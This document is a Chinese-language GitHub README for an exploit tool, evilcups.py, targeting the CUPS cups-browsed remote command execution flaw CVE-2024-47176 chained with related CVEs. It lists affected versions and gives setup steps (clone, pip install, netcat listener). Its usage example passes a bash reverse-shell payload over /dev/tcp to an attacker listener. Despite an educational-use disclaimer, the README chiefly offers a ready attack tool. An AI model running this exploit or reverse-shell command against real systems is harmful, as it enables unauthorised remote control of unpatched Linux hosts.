gumerzzzindo/CVE-2024-47176
GitHub: gumerzzzindo/CVE-2024-47176
针对 CUPS 系统 cups-browsed 组件 CVE-2024-47176 远程命令执行漏洞的概念验证与利用工具。
Stars: 0 | Forks: 0
# CVE-2024-47176 — CUPS 远程命令执行





## 目录
- [描述](#description)
- [受影响的系统](#affected-systems)
- [相关的 CVE](#related-cves)
- [前置条件](#prerequisites)
- [环境配置](#setup)
- [使用方法](#usage)
- [免责声明](#disclaimer)
## 描述
**CUPS** (Common UNIX Printing System) 是一个开源的打印系统,用于管理网络打印机。CVE-2024-47176 针对 `cups-browsed` daemon,该 daemon 绑定到 `INADDR_ANY:631` 并盲目信任来自任何来源的数据包。
通过精心构造触发 `Get-Printer-Attributes` IPP 请求的恶意 UDP 数据包,攻击者可以诱使 `cups-browsed` 连接到由攻击者控制的服务器——如果结合以下漏洞,则可实现**任意远程命令执行**。
## 受影响的系统
| 组件 | 条件 |
|---|---|
| `cups-browsed` | 监听 UDP 631 端口(默认) |
| CUPS < 2.4.11 | 未打补丁的版本 |
| 暴露了 CUPS 的 Linux 系统 | 攻击者可以访问到 631 端口 |
## 相关的 CVE
| CVE | 描述 |
|---|---|
| **CVE-2024-47176** | `cups-browsed` 信任 631 端口上的任何 UDP 数据包 |
| **CVE-2024-47076** | `libcupsfilters` 未对 IPP 属性进行过滤 |
| **CVE-2024-47175** | `libppd` 将未过滤的数据注入到 PPD 文件中 |
| **CVE-2024-47177** | `cups-filters` 允许通过 PPD 执行命令 |
## 前置条件
- 目标机器暴露了 **631 端口 (IPP/UDP)**
- 你的攻击机器上安装了 Python 3.x
- `nmap`(可选,用于侦察)
- 用于接收反弹 shell 的 netcat 监听器
## 环境配置
**1. 克隆仓库:**
```
git clone https://github.com/gumerzzzindo/cve-2024-47176.git
cd cve-2024-47176
```
**2. 安装所需的 Python 依赖:**
```
pip install ippserver
```
**3. 在你的机器上启动监听器:**
```
nc -lvnp
```
## 使用方法
```
./evilcups.py ""
```
**示例 — 反弹 shell:**
```
./evilcups.py 10.10.10.10 10.10.11.40 "bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"
```
## 免责声明
本仓库**仅用于教育目的**和授权的安全研究。在你没有所有权或未获得明确书面授权进行测试的系统上使用此工具是**违法的**且不道德的。
标签:Go语言工具, Python, 无后门, 远程命令执行, 逆向工具